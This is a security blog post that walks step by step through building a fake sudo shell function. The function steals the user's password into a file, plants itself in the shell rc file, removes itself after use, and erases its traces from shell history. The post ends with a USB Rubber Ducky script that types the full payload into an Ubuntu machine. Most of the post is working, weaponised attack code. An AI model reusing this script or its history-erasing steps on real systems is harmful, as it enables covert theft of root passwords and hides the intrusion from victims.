GitHub: ViGrey Twitter: @ViGreyTech LinkedIn: Vi Grey

Phishing for Root: Using Shell Functions Against Mac and Linux

Apr 29, 2017

Update (2017/07/04): Added an if statement to have the fake sudo command only run if it isn't included in the shell rc file. This is to prevent it from running being able to be run twice if 2 terminals are open.

Sudo Command Password Prompt

When a user wants to run a command as root on Unix and Unix-like operating systems, they will usually run the sudo command and type in their password. What if we could fool them into giving us their password? Over the last 2 or 3 nights, I have been working on a phishing technique that works on Mac OS X and Linux that cleans up after itself. In this post, I'll be explaining the steps to make this phishing shell script.

In this example, we will assume that the username of the user is vi and the shell is bash. This example will work with other usernames, passwords, and shells as well.

Creating the Root Phisher

sudo(){
    echo -n "[sudo] password for $USER: "
    read -s pass
    echo
    sleep 2
    echo "Sorry, try again."
}

The shell function we are creating is called sudo. When the function runs, it will start by printing [sudo] password for vi: with no new line afterwards. The user then types in their password and the value is stored in the shell variable pass. It then prints a new line, waits 2 seconds, and then prints Sorry, try again. with a new line after it. These are actions the user would expect sudo to do. We captured the password and stored it in the variable pass, but the program stops abruptly. Most users expect the the password prompt to pop up again if they typed their password incorrectly, and more importantly, they expect sudo to run like normal after typing their password correctly. This means we'll want to run sudo normally after the fake incorrect password message. Another thing we need to do is make sudo work normally every time after the password is stolen, so we need to have sudo reset itself.

sudo(){
    unset -f sudo
    echo -n "[sudo] password for $USER: "
    read -s pass
    echo
    sleep 2
    echo "Sorry, try again."
    sudo -k $@
}

The unset -f sudo command unsets the sudo function, making sudo work for the original sudo command again. $@ is all of the arguments sent to the sudo function we made. Because we unset the sudo function at the start of when sudo is called, we can call sudo from inside the function and it will be the original sudo command that runs. The -k flag in the sudo command forces the user to have to type in their password for sudo again.

Let's do something with that pass variable. We can save it to a file. For this example, let's save it to p.txt in the home directory of the user.

sudo(){
    unset -f sudo
    echo -n "[sudo] password for $USER: "
    read -s pass
    echo
    sleep 2
    echo "Sorry, try again."
    echo -n $pass > $HOME/p.txt
    unset pass
    sudo -k $@
}

In this case, we are just printing the contents of pass (no new line at the end) to the p.txt file in the home directory. We also don't need the value of pass anymore, so we'll unset it. Users may try to run /usr/bin/sudo, though, so we need to account for that.

sudo(){
    unset -f sudo
    unset -f /usr/bin/sudo
    echo -n "[sudo] password for $USER: "
    read -s pass
    echo
    sleep 2
    echo "Sorry, try again."
    echo -n $pass > $HOME/p.txt
    unset pass
    sudo -k $@
}
/usr/bin/sudo(){
    sudo $@
}

Now, if the user tries running /usr/bin/sudo instead of just sudo, it will run the sudo function we created. The sudo function also unsets the /usr/bin/sudo function we made so /usr/bin/sudo will function properly after we get steal the password.

We want this to fit as a single line command for our purposes, so let's convert this into a single line.

sudo(){ unset -f sudo;unset -f /usr/bin/sudo;echo -n "[sudo] password for $USER: ";read -s pass;echo;sleep 2;echo "Sorry, try again.";echo -n $pass>$HOME/p.txt;unset pass;sudo $@;};/usr/bin/sudo(){ sudo $@;}

To get the user to have access to our sudo and /usr/bin/sudo functions, we need to stick this line in their shell rc file, which in this case is the .bashrc file, but could be another file depending on the shell environment being used. Because it might not be .bashrc, let's figure out what that rc file is for this user.

s=$HOME/.$(basename $SHELL)rc

This line makes the value of the variable s equal the file path of the shell rc file. We can now add the functions we created to .bashrc in this example.

s=$HOME/.$(basename $SHELL)rc
echo "sudo(){ unset -f sudo;unset -f /usr/bin/sudo;echo -n \"[sudo] password for \$USER: \";read -s pass;echo;sleep 2;echo \"Sorry, try again.\";echo -n \$pass>$HOME/p.txt;unset pass;sudo -k \$@;};/usr/bin/sudo(){ sudo \$@;}" >> $s

It's a little harder to see what's going on here, but we're printing the content of the function line to .bashrc. This is fine, but we also want it to delete itself from the .bashrc after the sudo or /usr/bin/sudo function runs. This also means we need a way for the function to identify itself in .bashrc so it can delete itself.

h=$(hexdump -n 4 -e '/1 "%02X"' /dev/urandom)
s=$HOME/.$(basename $SHELL)rc
echo "sudo(){ unset -f sudo;unset -f /usr/bin/sudo;sed -i -n /$h/\!p $s;echo -n \"[sudo] password for \$USER: \";read -s pass;echo;sleep 2;echo \"Sorry, try again.\";echo -n \$pass>$HOME/p.txt;unset pass;sudo -k \$@;};/usr/bin/sudo(){ sudo \$@;}" >> $s

The value of the h variable is being set to a random 4 byte hexadecimal string. When the sed command runs inside of the sudo function, it looks for that value we just created for h and removes any line with that value from .bashrc. The value of h is already included in the sed command in the .bashrc file, so it can find itself and remove that line from .bashrc.

If sudo is run, it will remove the fake command line from .bashrc, but if a second terminal is open and has the fake sudo command as a function for sudo, the fake sudo command will run again. We don't want that, so we need to check to see if the fake sudo function is in .bashrc before running the fake sudo command.

h=$(hexdump -n 4 -e '/1 "%02X"' /dev/urandom)
s=$HOME/.$(basename $SHELL)rc
echo "sudo(){ unset -f sudo;unset -f /usr/bin/sudo;if ! grep -q $h $s;then sudo \$@; else sed -i -n /$h/\!p $s;unset -f sudo;unset -f /usr/bin/sudo;echo -n \"[sudo] password for \$USER: \";read -s pass;echo;sleep 2;echo \"Sorry, try again.\";echo -n \$pass>$HOME/p.txt;unset pass;fi;sudo -k \$@;fi;};/usr/bin/sudo(){ sudo \$@;}" >> $s

To do this, we check to see if the value of the h variable from before is in the .bashrc file. We do this with grep and an if statement. If the h value is in .bashrc, we run the fake sudo command, otherwise we run sudo normally.

We can shorten this to a single line and also shorten how long it is by making more variables and removing unneeded spaces.

h=$(hexdump -n 4 -e '/1 "%02X"' /dev/urandom);s=$HOME/.$(basename $SHELL)rc;r=sudo;e=echo;R=/usr/bin/$r;u=unset;$e "$r(){ $u -f $r;$u -f $R;if ! grep -q $h $s;then $r \$@; else sed -i -n /$h/\!p $s;$e -n \"[$r] password for \$USER: \";read -s p;$e;sleep 2;$e \"Sorry, try again.\";$e -n \$p>$HOME/p.txt;$u p;$r -k \$@;fi;};$R(){ $r \$@;}">>$s

New variables are created here, but we don't need to specifically unset them, because this command is meant to be run in a new terminal and the terminal is to be closed after running all of our commands.

There is a pesky problem when running this command. The shell history file likely will have saved it, so the user could see what we did. Some shell environments save the history at close time of the terminal by default while others save the command history immediately. To handle this, we're going to need a universal way to keep our commands out of the shell's history.

The path to the shell history file can be found in the HISTFILE variable and unsetting it prevents further entries for that shell session from being logged. We will want the HISTFILE value though, because we will need to delete the command unsetting the HISTFILE value. We can do this in a single line of commands to both store the value of and unset HISTFILE before running our command.

In bash, running history -c will prevent the current terminal's history from being appended to .bash_history. We can send the output and error messages of the history command to /dev/null to skip error messages, as some shell environments will give an error, due to the history command being different for those other shell environments. We can use sed after running our command to remove any line from the shell history file that includes the word HISTFILE which will clean up our command unsetting the history file. We can do all of this in a single line as well.

These 2 new lines of commands would let us keep our command out of the shell history while also keeping those 2 new lines of commands out of the shell history as well. With everything together, we have our final command, which is just 3 lines of shell script. This link is to an up to date gist of the script code.

a=$HISTFILE;unset HISTFILE
h=$(hexdump -n 4 -e '/1 "%02X"' /dev/urandom);s=$HOME/.$(basename $SHELL)rc;r=sudo;e=echo;t=/usr/bin/$r;u=unset;$e "$r(){ $u -f $r;$u -f $t;if ! grep -q $h $s;then $r \$@; else sed -i -n /$h/\!p $s;$e -n \"[$r] password for \$USER: \";read -s p;$e -n \$p>\$HOME/p.txt;$u p;$e;sleep 2;$e \"Sorry, try again.\";$r -k \$@;fi;};$t(){ $r \$@;}">>$s
sed -i -n /HISTFILE/\!p $a;history -c;exit

To recap, we just created a script that pretends to be sudo and /usr/bin/sudo to steal the user's password and we did it in a way that avoids being saved in the shell history as well as deletes itself after it is no longer needed.

Making This Work on a USB Rubber Ducky

U2B Rubber Ducky

Image: Hak5 via HakShop

The USB Rubber Ducky is a plug-and-play tool created by the team at Hak5 that acts like a keyboard. You can program what you want the device to type when it is plugged into a computer. Because computers consider this device a keyboard, it is very hard to defend against it without removing USB keyboard support from the computer.

Below is the USB Rubber Ducky script for running the root phisher on Ubuntu Desktop Edition 11.04 and newer. This link is to an up to date gist of the Ducky script code.

REM Title: Root Phisher
REM Target: Ubuntu Desktop >= 11.04
REM Last Modified: July 4, 2017
REM Author: Vi Grey
REM Copyright: BSD 2-Clause License
DELAY 1000
CTRL-ALT t
DELAY 1000
STRING a=$HISTFILE;unset HISTFILE
ENTER
STRING h=$(hexdump -n 4 -e '/1 "%02X"' /dev/urandom);s=$HOME/.$(basename $SHELL)rc;r=sudo;e=echo;t=/usr/bin/$r;u=unset;$e "$r(){ $u -f $r;$u -f $t;if ! grep -q $h $s;then $r \$@; else sed -i -n /$h/\!p $s;$e -n \"[$r] password for \$USER: \";read -s p;$e -n \$p>\$HOME/p.txt;$u p;$e;sleep 2;$e \"Sorry, try again.\";$r -k \$@;fi;};$t(){ $r \$@;}">>$s
ENTER
STRING sed -i -n /HISTFILE/\!p $a;history -c;exit
ENTER

Interesting Note on Bash

Turns out when you run which sudo in bash when you created a sudo function, it will still show the correct path for sudo, which is /usr/bin/sudo, rather than the contents of the function you created for sudo. Most Linux distros and Mac OSX use bash by default. This makes it very difficult for users to check if their sudo command is legitimate or an impersonating function before running it.

Final Note

I'll probably fiddle around with this script more over time as it has been helping me learn my systems more intricately. I also might end up doing a demo video of using this attack with a USB Rubber Ducky after I put more work and research into this attack. These things mean I might update this blog post in the future or might make future blog posts pointing back to this post.